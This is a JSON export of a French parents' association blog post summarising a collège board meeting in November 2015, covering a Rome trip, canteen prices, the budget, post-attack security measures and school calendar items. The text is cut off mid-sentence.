{"id":7007,"date":"2015-12-06T21:44:13","date_gmt":"2015-12-06T20:44:13","guid":{"rendered":"http:\/\/education.acctif.eu\/?p=7007"},"modified":"2015-12-06T21:44:13","modified_gmt":"2015-12-06T20:44:13","slug":"college-saint-exupery-brevet-stages-en-entreprise-tarifs-de-la-cantine-les-decisions-du-conseil-dadministration","status":"publish","type":"post","link":"http:\/\/actifeducation.fr\/?p=7007","title":{"rendered":"Coll\u00e8ge Saint-Exup\u00e9ry : brevet, stages en entreprise, tarifs de la cantine&#8230; les d\u00e9cisions du Conseil d&rsquo;Administration"},"content":{"rendered":"<p><strong>Nos deux \u00e9lus ACCTIF Education au coll\u00e8ge nous ont transmis le compte-rendu du dernier conseil d&rsquo;administration qui a eu lieu le 24 novembre 2015.\u00a0N\u2019h\u00e9sitez pas \u00e0 nous soumettre vos questions, remarques&#8230; en \u00e9crivant\u00a0<a href=\"mailto:education@acctif.eu\">education@acctif.eu<\/a>\u00a0afin que nos \u00e9lus puissent en parler\u00a0avec les repr\u00e9sentants du coll\u00e8ge.<\/strong><\/p>\n<p><strong>Voici les principaux points \u00e9voqu\u00e9s :<\/strong><\/p>\n<p>&#8211; composition des commissions d\u00e9j\u00e0 transmise<\/p>\n<p>&#8211; voyage de 3 jours \u00e0 Rome pour les latinistes approuv\u00e9<\/p>\n<p>&#8211; atelier pratique artistique avec le Conservatoire pour les 6e et 5e \u00e0 option musical (90h)<\/p>\n<p>&#8211; formation r\u00f4le de d\u00e9l\u00e9gu\u00e9 par la ligue de l&rsquo;enseignement (6h)<\/p>\n<p>&#8211; tarifs demi-pension 2016 (+0,5% par rapport \u00e0 2015)<\/p>\n<p>&#8211; tarif renouvellement objets perdus ou d\u00e9t\u00e9rior\u00e9s<\/p>\n<p>&#8211; budget 2015<\/p>\n<p>&#8211; d\u00e9l\u00e9gation de signature<\/p>\n<p>&#8211; s\u00e9curit\u00e9 (attentats, rue de la R\u00e9publique, interdiction sortie IDF jusqu&rsquo;au 29\/11)<\/p>\n<p>&#8211; planning stage de 3e qui a \u00e9t\u00e9 d\u00e9cal\u00e9 depuis<\/p>\n<p>&#8211; conseil de classe &#8211; enseignants de CM2 invit\u00e9s au conseil de classe des 6e \/ remise des bulletins en mains propres (du 14 au 18 d\u00e9cembre)<\/p>\n<p>&#8211; brevet blanc le 26-27 janvier 2016<\/p>\n<p>&#8211; repas de No\u00ebl, le 17 d\u00e9cembre avec apr\u00e8s midi banalis\u00e9 (r\u00e9union des profs et des d\u00e9l\u00e9gu\u00e9s \u00e9l\u00e8ves)<\/p>\n<p><strong>Ci-dessous, vous trouverez le compte-rendu d\u00e9taill\u00e9 sur tous les points \u00e9voqu\u00e9s.<\/strong><\/p>\n<p><strong>1\u00e8re partie : en pr\u00e9sence des membres titulaires et suppl\u00e9ants<\/strong><br \/>\nLes membres \u00e9lus, titulaires et suppl\u00e9ants se concertent pour \u00e9tablir la liste de leurs repr\u00e9sentants \u00e0 la Commission Permanente et au Conseil de Discipline.<br \/>\nLes listes \u00e9tablies apr\u00e8s concertation sont les suivantes :<\/p>\n<p><strong>COMMISSION PERMANENTE :<\/strong><br \/>\nQualit\u00e9 des membres Nom des titulaires Suppl\u00e9ants<br \/>\nChef d\u2019\u00e9tablissement<br \/>\nGestionnaire de l\u2019\u00e9tablissement<br \/>\n1 Repr\u00e9sentant de la collectivit\u00e9 de rattachement<br \/>\n3 repr\u00e9sentants \u00e9lus des personnels d\u2019enseignement, d\u2019\u00e9ducation, de surveillance ou de documentation<br \/>\n1 repr\u00e9sentant \u00e9lu des personnels administratifs, techniques, ouvriers, de service, sociaux et de sant\u00e9.<br \/>\n3 repr\u00e9sentants \u00e9lus des parents d\u2019\u00e9l\u00e8ves dont nos 2 \u00e9lus ACCTIF Education (1 titulaire, 1 suppl\u00e9ant)<br \/>\n1 repr\u00e9sentant \u00e9lu des \u00e9l\u00e8ves<\/p>\n<p><strong>Composition du Conseil de discipline<\/strong><\/p>\n<p><strong>Composition du\u00a0Composition de la Commission Hygi\u00e8ne et S\u00e9curit\u00e9<\/strong><\/p>\n<p><strong>Composition du Comit\u00e9 d&rsquo;\u00e9ducation \u00e0 la sant\u00e9 et \u00e0 la citoyennet\u00e9<\/strong><\/p>\n<p><strong>Composition du\u00a0Commission \u00e9ducative<\/strong><\/p>\n<p><strong>2\u00e8me partie : en pr\u00e9sence des membres titulaires<\/strong><\/p>\n<p><strong>1- INSTALLATION du CONSEIL d\u2019ADMINISTRATION<\/strong><\/p>\n<p>Qualit\u00e9 des membres Nom des titulaires Suppl\u00e9ants<\/p>\n<p>MEMBRES DE DROIT<br \/>\nChef d\u2019\u00e9tablissement<br \/>\nConseill\u00e8re Principale d\u2019Education<br \/>\nGestionnaire de l\u2019\u00e9tablissement<\/p>\n<p>MEMBRES DESIGNES<br \/>\nRepr\u00e9sentant de la collectivit\u00e9 de rattachement<br \/>\n2 repr\u00e9sentants de la commune si\u00e8ge de l\u2019\u00e9tablissement<br \/>\n1 personnalit\u00e9 qualifi\u00e9e<\/p>\n<p>REPRESENTANTS ELUS<br \/>\n6 repr\u00e9sentants \u00e9lus des personnels d\u2019enseignement, d\u2019\u00e9ducation, de surveillance ou de documentation<br \/>\n2 repr\u00e9sentants des personnels administratifs, techniques,ouvriers, de service, sociauxet de sant\u00e9.<br \/>\n6 repr\u00e9sentants \u00e9lus des parents d\u2019\u00e9l\u00e8ves<br \/>\n2 repr\u00e9sentants \u00e9lus des \u00e9l\u00e8ves<br \/>\nLe quorum est atteint : 20 membres pr\u00e9sents.<br \/>\nLe Conseil d\u2019Administration peut donc valablement si\u00e9ger, la s\u00e9ance d\u00e9bute \u00e0 17h55.<\/p>\n<p>Madame la Principale, pr\u00e9sidente, d\u00e9clare le Conseil d\u2019Administration install\u00e9 et remercie tous les nouveaux<br \/>\nmembres pour leur participation et leur implication dans la vie du Coll\u00e8ge.<\/p>\n<p><strong>2- DESIGNATION DU SECRETAIRE DE SEANCE<\/strong><\/p>\n<p>Aujourd\u2019hui, c\u2019est au tour des f\u00e9d\u00e9rations de Parents d\u2019assurer le secr\u00e9tariat.<br \/>\nL\u2019API se propose d\u2019\u00eatre le secr\u00e9taire de s\u00e9ance et je l\u2019en remercie.<\/p>\n<p><strong>3- APPROBATION DE L\u2019ORDRE DU JOUR<\/strong><\/p>\n<p>Une modification de l\u2019ordre du jour est demand\u00e9e et soumise au vote des membres du Conseil<br \/>\nd\u2019administration. Il deviendrait :<br \/>\n1\u00e8re partie : en pr\u00e9sence des membres titulaires et suppl\u00e9ants<br \/>\n&#8211; Installation de la commission permanente<br \/>\n&#8211; Installation du conseil de discipline<br \/>\n&#8211; Installation du comit\u00e9 d\u2019hygi\u00e8ne et de s\u00e9curit\u00e9<br \/>\n&#8211; Installation du comit\u00e9 d\u2019\u00e9ducation \u00e0 la sant\u00e9 et \u00e0 la citoyennet\u00e9<br \/>\n&#8211; Installation de la commission \u00e9ducative de l\u2019\u00e9tablissement<br \/>\n2\u00e8me partie : en pr\u00e9sence des membres titulaires uniquement<br \/>\n1) Installation du conseil d\u2019administration<br \/>\n2) D\u00e9signation du secr\u00e9taire de s\u00e9ance<br \/>\n3) Approbation de l\u2019ordre du jour<br \/>\n4) Approbation du compte-rendu du C.A. du 15 octobre 2015<br \/>\n5) R\u00e8glement int\u00e9rieur du conseil d\u2019administration<br \/>\n6) Voyage en Italie<br \/>\n7) Conventions<br \/>\n8) Tarifs 2016<br \/>\n9) Budget 2016<br \/>\n10) D\u00e9l\u00e9gation de signature au chef d\u2019\u00e9tablissement<br \/>\n11) Informations diverses<br \/>\n12) Questions diverses<br \/>\nCet ordre du jour modifi\u00e9 est soumis au vote des membres du Conseil d\u2019Administration :<\/p>\n<p><strong>4- APPROBATION DU COMPTE- RENDU DU C.A DU 15 octobre 2015<\/strong><\/p>\n<p>Aucune modification n\u2019est demand\u00e9e.<br \/>\nLe compte-rendu est adopt\u00e9 par les membres du Conseil d\u2019Administration<\/p>\n<p><strong>5- REGLEMENT INTERIEUR DU CONSEIL D\u2019ADMINISTRATION<\/strong><\/p>\n<p>Le r\u00e8glement int\u00e9rieur du Conseil d\u2019Administration, modifi\u00e9 pendant le Conseil d\u2019Administration du 8<br \/>\nseptembre 2014, a \u00e9t\u00e9 envoy\u00e9 \u00e0 tous les membres du conseil d\u2019Administration.<br \/>\nLe r\u00e8glement int\u00e9rieur est vot\u00e9 des membres du Conseil d\u2019Administration<\/p>\n<p><strong>6- VOYAGE EN ITALIE<\/strong><\/p>\n<p>Le chef d&rsquo;\u00e9tablissement \u00e9voque un mail re\u00e7u le 20 novembre, de Mme La Rectrice, ayant pour objet : les attentats et l\u2019\u00e9volution des directives acad\u00e9miques.<br \/>\n\u00ab A la suite des \u00e9v\u00e9nements r\u00e9cents, le Parlement a \u00e9tendu la p\u00e9riode de l\u2019\u00e9tat d\u2019urgence jusqu\u2019\u00e0 fin f\u00e9vrier 2016 et le dispositif Vigipirate au niveau \u00ab alerte attentat \u00bb est maintenu en Ile de France. Le respect de ce dispositif est particuli\u00e8rement important dans les semaines venir.<\/p>\n<p>Dans l\u2019acad\u00e9mie de Cr\u00e9teil, les consignes suivantes doivent \u00eatre appliqu\u00e9es :<br \/>\n<strong>1- Les voyages scolaires et les sorties occasionnelles (th\u00e9\u00e2tre, sortie nature, \u2026)<\/strong><br \/>\n<em>Compte-tenu de la situation particuli\u00e8re en Ile De France, les consignes donn\u00e9es pour les \u00e9coles et les \u00e9tablissements scolaires pour la p\u00e9riode du 16 au 22 novembre 2015 sont prolong\u00e9es jusqu\u2019au 29 novembre 2015 inclus \u00e0 l\u2019exception des voyages scolaires hors Ile De France, y compris \u00e0 l\u2019\u00e9tranger qui sont d\u00e9sormais soumis aux consignes nationales suivantes : les \u00e9coles et les \u00e9tablissements scolaires ont pour obligation de signaler en amont ces voyages \u00e0 l\u2019autorit\u00e9 acad\u00e9mique. En lien avec les pr\u00e9fets, l\u2019autorit\u00e9 acad\u00e9mique pourra interdire un voyage si les conditions de s\u00e9curit\u00e9 ne sont pas remplies. \u00bb<\/em><\/p>\n<p>C\u2019est pourquoi, ce voyage en Italie est abord\u00e9 ce soir en Conseil d\u2019administration.<br \/>\nL&rsquo;enseignante est invit\u00e9e \u00e0 pr\u00e9senter le voyage \u00e0 Rome. Ce voyage concerne les 4\u00e8mes et 3\u00e8mes latinistes, ce qui repr\u00e9sente 18 \u00e9l\u00e8ves de 4\u00e8me et 26 \u00e9l\u00e8ves de 3\u00e8me. Les parents des \u00e9l\u00e8ves concern\u00e9s ont re\u00e7u une information avant les vacances de la Toussaint. Une r\u00e9ponse n\u00e9gative orale a \u00e9t\u00e9 donn\u00e9e, trois retours n\u2019ont pas \u00e9t\u00e9 adress\u00e9s et les autres sont positifs. Trois devis ont \u00e9t\u00e9 demand\u00e9s.<br \/>\nLe s\u00e9jour durera trois jours et aura lieu entre le 7 et le 13 mars 2016, dates qui seront pr\u00e9cis\u00e9es \u00e0 l\u2019acceptation du devis. Quatre accompagnateurs encadreront les enfants.<br \/>\nLe trajet se fera en avion soit par la compagnie EASY JET soit par la compagnie AIR France.<br \/>\nL\u2019h\u00e9bergement sera pr\u00e9vu en h\u00f4tel, soit \u00e0 Rome, soit en p\u00e9riph\u00e9rie avec un car pr\u00e9vu pour les d\u00e9placements.<br \/>\nL\u2019objectif p\u00e9dagogique est la d\u00e9couverte de la capitale et de l\u2019empire romain. Un carnet de voyage est envisag\u00e9. Exemple de visites pr\u00e9vues : Forum, Colis\u00e9e, Ostie (ancien port de Rome), Panth\u00e9on, Saint Pierre \u2026<br \/>\nDes sorties pr\u00e9paratoires ont pu \u00eatre organis\u00e9es sur Paris avec les \u00e9l\u00e8ves de 3\u00e8me avant le plan vigipirate. Celles des 4\u00e8mes ne pourront avoir lieu.<br \/>\nLe montant des devis, avec assurance annulation, oscillent entre 350 et 400 \u20ac. Il reste \u00e0 v\u00e9rifier que l\u2019assurance annulation prenne bien en compte le risque alerte attentat. Le prix d\u00e9finitif ne sera connu qu\u2019au moment de la r\u00e9servation. Ce montant ne comprend pas les transports en commun sur place, qui devraient \u00eatre pris en charge par la coop\u00e9rative du coll\u00e8ge. Un vote \u00e0 420 \u20ac permettrait de ne pas \u00eatre pris de cours. Tous les repas sont compris \u00e0 l\u2019exception du 1er et \u00e9ventuellement du dernier en fonction de l\u2019horaire du vol retour.<br \/>\nL\u2019inspection acad\u00e9mique doit \u00eatre inform\u00e9e de tous les voyages, mais seul le pr\u00e9fet autorise ou non les voyages.<br \/>\nLes questions concernant ce voyage \u00e9tant \u00e9puis\u00e9es, Mme Lemaire soumet au vote des membres du Conseil d\u2019Administration, pour approbation, le voyage en Italie avec un co\u00fbt maximal de 420 \u20ac.<\/p>\n<p><strong>7- CONVENTIONS<\/strong><\/p>\n<p><strong>a &#8211; Convention partenariale entre le Conservatoire \u00e0 Rayonnement D\u00e9partemental du Val de Bi\u00e8vre- Fresnes et le coll\u00e8ge Antoine de Saint- Exup\u00e9ry.<\/strong><br \/>\nDans ce cadre, un atelier de pratique artistique est organis\u00e9 par le conservatoire pour les \u00e9l\u00e8ves des classes de 6\u00e8me et de 5\u00e8me \u00e0 option musicale.<br \/>\nLes intervenants pour cet atelier sont les professeurs du CRD. Les enfants sont accompagn\u00e9s pour se rendre \u00e0 leur s\u00e9ance.<br \/>\nDur\u00e9e de l\u2019action : 90 heures, soit 64 s\u00e9ances d\u20191,5h les vendredis pour les 5\u00e8mes et les jeudis pour les 6\u00e8mes de 16h \u00e0 17h30 hors cong\u00e9s scolaires.<br \/>\nMontant de ce partenariat : 546,75 \u20ac<br \/>\nUn probl\u00e8me est n\u00e9anmoins constat\u00e9, certains \u00e9l\u00e8ves ont quitt\u00e9 l\u2019option et se seraient inscrits directement au conservatoire d\u2019o\u00f9 une grosse d\u00e9perdition d\u2019\u00e9l\u00e8ves.<br \/>\nDepuis la rentr\u00e9e 2015, le coll\u00e8ge Charcot b\u00e9n\u00e9ficie \u00e9galement de cette option musicale. Le tarif est proportionnel \u00e0 l\u2019effectif.<br \/>\nLe chef d&rsquo;\u00e9tablissement demande aux membres du Conseil d\u2019administration l\u2019autorisation de signer cette convention<\/p>\n<p><strong>b &#8211; Convention avec la Ligue de l\u2019enseignement<\/strong><br \/>\nObjet : Dans le cadre de cette convention partenariale entre La Ligue de L\u2019Enseignement et le coll\u00e8ge Antoine de Saint Exup\u00e9ry, une formation des d\u00e9l\u00e9gu\u00e9s d&rsquo;\u00e9l\u00e8ves est organis\u00e9e, dans le cadre de l\u2019\u00e9ducation \u00e0 la citoyennet\u00e9. Diff\u00e9rents th\u00e8mes y sont abord\u00e9s : r\u00f4le du d\u00e9l\u00e9gu\u00e9 \u2013 connaissance de l\u2019\u00e9tablissement : es diff\u00e9rents personnels de l\u2019\u00e9tablissement et leur r\u00f4le, les diff\u00e9rentes instances du coll\u00e8ge \u2013 le Conseil de classe \u2013 Communication Calendrier de r\u00e9alisation : Volume horaire de 6 heures r\u00e9parties en deux interventions, dans la Salle du Conseil \u00e0 la Mairie de Fresnes.<br \/>\nModalit\u00e9s financi\u00e8res :<br \/>\n&#8211; Une adh\u00e9sion \u00e0 la Ligue de l\u2019Enseignement pour l\u2019ann\u00e9e scolaire en cours : 18,50 \u20ac<br \/>\n&#8211; Montant des deux interventions : 418,50 \u20ac<br \/>\nLe chef d&rsquo;\u00e9tablissement soumet \u00e0 l\u2019approbation des membres du Conseil d\u2019Administration l\u2019autorisation de signer cette convention.<\/p>\n<p><strong>c- Convention de restauration avec le coll\u00e8ge Fromond<\/strong><br \/>\nNon re\u00e7ue \u00e0 ce jour. Le CA du coll\u00e8ge Fromond n\u2019ayant pas eu lieu.<\/p>\n<p><strong>8- TARIFS<\/strong><\/p>\n<p><strong>a) Les tarifs de la demi-pension<\/strong><\/p>\n<p>Les tarifs de la restauration scolaire appliqu\u00e9s<\/p>\n<ul>\n<li>aux \u00e9l\u00e8ves de coll\u00e8ge, tels qu\u2019ils doivent \u00eatre adopt\u00e9s par les conseils d\u2019administration pour<br \/>\nl\u2019ann\u00e9e 2016, ne subiront pas d\u2019augmentation.<br \/>\nLe forfait annuel pour l\u2019ann\u00e9e civile 2016 s\u2019\u00e9l\u00e8ve \u00e0 507,35 \u20ac, pour 4 jours de 1\/2 pension par semaine (contre 504,74 \u20ac en 2015, 495,82\u20ac pour 2014 et 487,05 \u20ac pour l\u2019ann\u00e9e 2013).<br \/>\nA compter du 1er janvier 2016, le prix du ticket s\u2019\u00e9l\u00e8ve donc \u00e0 3,65 \u20ac (forfait annuel rapport\u00e9 au nombre de jours d\u2019ouverture de la demi-pension, soit 139 jours)<\/li>\n<li>aux commensaux, seront \u00e9galement identiques \u00e0 ceux de l\u2019ann\u00e9e 2015.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/acctifeducation.files.wordpress.com\/2015\/12\/cantine.png\" rel=\"attachment wp-att-7008\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-7008 size-large\" src=\"https:\/\/acctifeducation.files.wordpress.com\/2015\/12\/cantine.png?w=700\" alt=\"Cantine\" width=\"700\" height=\"216\" \/><\/a>Le pourcentage de la participation des usagers aux charges de fonctionnement passe de 15 % \u00e0 16 % (soit 11 % pour la cuisine centrale et 5 % pour les \u00e9tablissements nourris.)<\/p>\n<p>3 votes vont \u00eatre soumis aux membres du Conseil d\u2019Administration :<br \/>\n1\/ Le maintien de la participation des usagers aux charges de fonctionnement (le % est \u00e9gal \u00e0 15 %). Adopt\u00e9 \u00e0 l&rsquo;unanimit\u00e9.<br \/>\n2\/ Le tarif des repas \u00e9l\u00e8ves. Adopt\u00e9 \u00e0 l&rsquo;unanimit\u00e9.<br \/>\n3\/ Le tarif des repas pour les commensaux. Adopt\u00e9 \u00e0 l&rsquo;unanimit\u00e9.<\/p>\n<p><strong>b) Le renouvellement des objets perdus ou d\u00e9t\u00e9rior\u00e9s<\/strong><\/p>\n<p>Le tableau ci-dessous r\u00e9capitule les tarifs mis en place dans l\u2019\u00e9tablissement et vot\u00e9 l\u2019an pass\u00e9.<br \/>\nLe chef d&rsquo;\u00e9tablissement propose la reconduction des tarifs pour cette ann\u00e9e.<\/p>\n<p><a href=\"https:\/\/acctifeducation.files.wordpress.com\/2015\/12\/materielcollege.png\" rel=\"attachment wp-att-7009\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-7009 size-full\" src=\"https:\/\/acctifeducation.files.wordpress.com\/2015\/12\/materielcollege.png\" alt=\"MaterielCollege\" width=\"683\" height=\"199\" \/><\/a><\/p>\n<p>Les tarifs de renouvellement des objets perdus ou d\u00e9t\u00e9rior\u00e9s sont soumis pour approbation aux membres du Conseil d\u2019Administration :<br \/>\nAdopt\u00e9 \u00e0 l&rsquo;unanimit\u00e9.<\/p>\n<p><strong>9- BUDGET 2015<\/strong><\/p>\n<p>L\u2019\u00e9tablissement compte 328 \u00e9l\u00e8ves dont 253 demi-pensionnaires. Il existe actuellement 12 classes.<br \/>\nSuite \u00e0 la baisse de la dotation d\u00e9partementale, la dotation du coll\u00e8ge continue \u00e0 baisser (baisse de 12% en 2014, 5% en 2015 et 4,1% en 2016 soit environ 4800 \u20ac). A l\u2019ouverture du coll\u00e8ge une dotation avait \u00e9t\u00e9 attribu\u00e9e pour le mobilier de l\u2019espace parents. Aujourd\u2019hui il reste 200,20 \u20ac pour \u00e9quiper la salle d\u2019une cafeti\u00e8re et d\u2019une bouilloire.<br \/>\nEn 2015, 18 \u00e9l\u00e8ves ont rembours\u00e9 20 livres, 19 cartes de cantine et 4 carnets de correspondance.<br \/>\nLa gestion technique des b\u00e2timents ne fonctionne pas, ce qui explique les fortes temp\u00e9ratures et l\u2019absence de programmation notamment le week end. Une r\u00e9paration rapide est promise par le conseil d\u00e9partemental.<br \/>\nLe tarif du t\u00e9l\u00e9phone sera en baisse, parce qu&rsquo;\u00e0 partir de janvier 2016, le coll\u00e8ge sera reli\u00e9 au c\u00e2ble.<br \/>\nLa facture de la poste est en baisse car les courriers sont donn\u00e9s directement aux \u00e9l\u00e8ves via la vie scolaire.<br \/>\nLe budget total de la section de fonctionnement est de 314 757,25 \u20ac. Le coll\u00e8ge doit disposer en permanence d&rsquo;une r\u00e9serve financi\u00e8re correspondant \u00e0 environ 1,5 mois de fonctionnement du coll\u00e8ge.<\/p>\n<p>Vote : 17 POUR ; 3 ABSTENTION<\/p>\n<p><strong>10 &#8211; DELEGATION DE SIGNATURE AU CHEF D\u2019ETABLISSEMENT<\/strong><\/p>\n<p>Afin d\u2019\u00e9viter au Conseil d\u2019Administration d\u2019\u00eatre convoqu\u00e9 pour chaque d\u00e9pense \u00e0 engager par l\u2019\u00e9tablissement, il est propos\u00e9 le vote du texte suivant :<br \/>\n\u00ab Le Conseil d\u2019administration donne d\u00e9l\u00e9gation, pour l\u2019ann\u00e9e civile 2015, au Chef d\u2019Etablissement, pour la passation des march\u00e9s, dont le montant n\u2019exc\u00e8de pas les seuils fix\u00e9s par l\u2019article 28 du code des march\u00e9s publics et dont l\u2019incidence financi\u00e8re est annuelle dans la limite des cr\u00e9dits ouverts par<br \/>\nservice au budget ou par d\u00e9cision budg\u00e9taire modificative. \u00bb<br \/>\nLe montant limite correspond \u00e0 100\u20ac.<\/p>\n<p>Adopt\u00e9 \u00e0 l&rsquo;unanimit\u00e9.<\/p>\n<p><strong>11\u2013 INFORMATIONS DIVERSES<\/strong><\/p>\n<p><strong>Attentats :<\/strong> D\u00e8s le 14 novembre, des courriers et des sms ont \u00e9t\u00e9 \u00e9chang\u00e9s avec le chef d\u2019\u00e9tablissement et l&rsquo;inspecteur acad\u00e9mique.<br \/>\nDes mails ont \u00e9t\u00e9 transmis officiellement dans les coll\u00e8ges pour mettre en place des consignes du 14 au 23 novembre. Elles ont \u00e9t\u00e9 prolong\u00e9es jusqu\u2019au 29 novembre prochain en Ile-de-France.<br \/>\nVendredi 20 novembre, le coll\u00e8ge a re\u00e7u une nouvelle affiche VIGIPIRATE ALERTE ATTENTAT. Cette affiche est valable pour les acad\u00e9mies de Paris, Cr\u00e9teil et Versailles. Elles a \u00e9t\u00e9 appliqu\u00e9es sur l&rsquo;ensemble des issues du coll\u00e8ge.<\/p>\n<p>Les points principaux sont :<br \/>\n&#8211; l&rsquo;accueil assur\u00e9 par un adulte<br \/>\n&#8211; un contr\u00f4le des sacs possible<br \/>\n&#8211; un contr\u00f4le de l\u2019identit\u00e9 des personnes ext\u00e9rieures (cahier \u00e0 l&rsquo;accueil)<br \/>\n&#8211; D\u2019ici les vacances de no\u00ebl, deux exercices d\u2019\u00e9vacuation devront \u00eatre organis\u00e9s. A ce jour, un exercice incendie a \u00e9t\u00e9 effectu\u00e9, un autre aura lieu le 8 d\u00e9cembre. Un exercice de confinement vers le gymnase est programm\u00e9 le 16 d\u00e9cembre. Lieu retenu parce qu&rsquo;il y a des points d\u2019eau, plusieurs sorties d\u2019\u00e9vacuation et le moins de fen\u00eatres.<br \/>\n&#8211; Contr\u00f4le des stationnements devant le coll\u00e8ge.<br \/>\n&#8211; Les horaires peuvent \u00eatre modifi\u00e9s pour fluidifier les entr\u00e9es et sorties.<br \/>\n&#8211; Eviter les attroupements devant le coll\u00e8ge, intervention de la principale aux abords du coll\u00e8ge.<br \/>\n&#8211; Signalement de tout comportement ou objet suspect.<\/p>\n<p><strong>S\u00e9curit\u00e9 rue de la R\u00e9publique :<\/strong> La vitesse des v\u00e9hicules est excessive. Quelques v\u00e9hicules deux roues passent sur le mail. Il faut prendre RDV avec Mr Bridey pour exposer le probl\u00e8me.<br \/>\nSorties, voyages, manifestations : Toutes les sorties sont interdites en IDF jusqu\u2019au 29 novembre.<br \/>\nException concernant les voyages en dehors de l\u2019IDF, y compris \u00e0 l\u2019\u00e9tranger avec un accord pr\u00e9alable de la pr\u00e9fecture.<br \/>\nLa zone du Bourget est interdite pendant la COP21.<\/p>\n<p><strong>Stages en entreprise :<\/strong> Le stage en entreprise aura lieu du lundi 30 novembre au samedi 5 d\u00e9cembre.<br \/>\nIl reste quelques \u00e9l\u00e8ves qui n\u2019ont pas encore de stage. Le dossier de stage compl\u00e9t\u00e9 devra \u00eatre rendu le mercredi 13 janvier, la soutenance orale aura lieu le mercredi 20 janvier. Conseils de classe, remise des bulletins: les enseignants de CM2 sont invit\u00e9s au conseil de classe des 6\u00e8mes. Attente de r\u00e9ponse pour les \u00e9coles Pasteur et Roux. L\u2019\u00e9cole Barbara ne semble pas int\u00e9ress\u00e9 mais souhaite continuer \u00e0 recevoir les bulletins.<br \/>\nRemise des bulletins aux familles : Cette remise en main propre est maintenue. Elle se d\u00e9roulera du 14 au 18 d\u00e9cembre. Un seul niveau par soir de 17h45 \u00e0 20h, le lundi pour les 6\u00e8mes, le mardi pour les 5\u00e8mes<\/p>\n<p>Une pi\u00e8ce d\u2019identit\u00e9 sera demand\u00e9e aux parents et un badge visiteur leur sera remis. Attente de r\u00e9ponse de l\u2019acad\u00e9mie pour la mise en place de ce dispositif.<br \/>\nConcernant les conseils de classe, la r\u00e9partition se fera ainsi : 12 conseils API, 8 conseils FCPE, 4 ACCTIF. Un tirage au sort est pr\u00e9vu en fin de CA pour d\u00e9terminer les conseils de classe de la FCPE et d\u2019ACCTIF.<\/p>\n<p><strong>Brevet blanc :<\/strong> Le brevet blanc aura lieu les mardi 26 et mercredi 27 janvier.<br \/>\nProjet d\u2019aide \u00e0 la lecture : Il concerne les \u00e9l\u00e8ves ayant des troubles sp\u00e9cifiques (dyslexie, dyspraxie,..) et aux faibles lecteurs. Ce projet a obtenu l\u2019aval de l\u2019inspection acad\u00e9mique. Une formation a \u00e9t\u00e9 accept\u00e9e pour l\u2019ensemble des professeurs et aura lieu le mardi 1er d\u00e9cembre de 13h30 \u00e0 16h30. Il n\u2019y\u00a0aura donc pas cours cet apr\u00e8s-midi l\u00e0.<br \/>\nDeux autres journ\u00e9es de formation sont pr\u00e9vues, un roulement des professeurs sera organis\u00e9.<\/p>\n<p><strong>R\u00e9forme du coll\u00e8ge :<\/strong> La principale a 3,5 jours de formation \u00e0 ce sujet.<br \/>\nTrois enseignants ont d\u00e9but\u00e9 cette formation.<br \/>\nUn inspecteur acad\u00e9mique r\u00e9f\u00e9rent a \u00e9t\u00e9 nomm\u00e9 pour effectuer l&rsquo;accompagnement de la mise en place. La 1\u00e8re r\u00e9union a eu lieu ce midi.<br \/>\nLe chef d&rsquo;\u00e9tablissement\u00a0ne souhaite pas perdre de moyens et d&rsquo;enseignants.<br \/>\nUne r\u00e9union sera programm\u00e9e avec les parents d\u00e9but 2016 pour \u00e9voquer l\u2019enseignement commun et la r\u00e9forme.<\/p>\n<p><strong>Repas de No\u00ebl :<\/strong> pr\u00e9vu le jeudi 17 d\u00e9cembre. Les cours de l\u2019apr\u00e8s-midi seront banalis\u00e9s en raison d\u2019une r\u00e9union des professeurs.<br \/>\nLes d\u00e9l\u00e9gu\u00e9s \u00e9l\u00e8ves auront l\u2019apr\u00e8s-midi une r\u00e9union \u00e0 la mairie.<\/p>\n<p><strong>12\u2013 QUESTIONS DIVERSES<\/strong><\/p>\n<p><strong>a) Professeurs<\/strong><br \/>\nQu\u2019en est-il du panneau d\u2019information dans le hall ?<br \/>\nEt de celui qui devait \u00eatre install\u00e9 au C.D.I ?<br \/>\nPour le moment rien. Les \u00e9crans ne fonctionnent pas car aucun raccordement.<\/p>\n<p><strong>b) A.P.I.<\/strong><\/p>\n<p><strong>Harc\u00e8lement, violence, racket :<\/strong><br \/>\nQuelle est la proc\u00e9dure suivie par le coll\u00e8ge ?<br \/>\nQuelles sont les mesures pr\u00e9ventives mises en place ?<br \/>\nIntervention de Mr Gresser. Une saisie peut-\u00eatre faite par l\u2019\u00e9tablissement. Il est vivement conseill\u00e9 aux familles de d\u00e9poser plainte. Cette plainte permet de d\u00e9marrer une enqu\u00eate de police.<br \/>\nLa vie scolaire fait la m\u00e9diation, s\u2019occupe des exclusions et des sanctions. La police intervient si n\u00e9cessaire. Evocation de la difficult\u00e9 des \u00e9l\u00e8ves pour en parler, pour ne pas se placer en position de victime, et pour l&rsquo;auter d&rsquo;assumer la sanctions. Les enseignants sont confront\u00e9s \u00e0 des \u00e9l\u00e8ves en souffrance.<br \/>\nIl existe des actions de pr\u00e9vention dans les classes :<br \/>\n&#8211; Une vid\u00e9o pour les 6\u00e8me est diffus\u00e9e sur le harc\u00e8lement avec travail sur la mise \u00e0 la place de la victime, le d\u00e9veloppement de la capacit\u00e9 \u00e0 dire non notamment en groupe<br \/>\n&#8211; Une journ\u00e9e contre le harc\u00e8lement a \u00e9t\u00e9 organis\u00e9e pour les d\u00e9l\u00e9gu\u00e9s \u00e9l\u00e8ves de 3\u00e8me. On peut se rendre sur le site de l\u2019acad\u00e9mie de Cr\u00e9teil pour visionner une vid\u00e9o sur le sujet.<\/p>\n<p><strong>Attentats :<\/strong><br \/>\nQuelle communication a \u00e9t\u00e9 faite aux \u00e9l\u00e8ves ?<br \/>\nEst-ce que les voyages ou sorties scolaires sont maintenus ?<br \/>\nY a-t-il des mesures de protection prises au sein du coll\u00e8ge ?<br \/>\nLes professeurs en ont parl\u00e9 pendant une heure de cours. Les \u00e9l\u00e8ves ont pu s\u2019exprimer sur le sujet.<br \/>\nLes professeurs ont ressenti le besoin des \u00e9l\u00e8ves d&rsquo;un temps de parole en groupe \u00e9l\u00e8ve\/ professeur.<br \/>\nImportance de leur faire comprendre qu\u2019ils peuvent se projeter dans l\u2019avenir. L&rsquo;apaisement des enfants par la suite a \u00e9t\u00e9 per\u00e7ue par l&rsquo;\u00e9quipe p\u00e9dagogique.<\/p>\n<p><strong>Voyages scolaires :<\/strong><br \/>\nPourquoi demande-t-on un 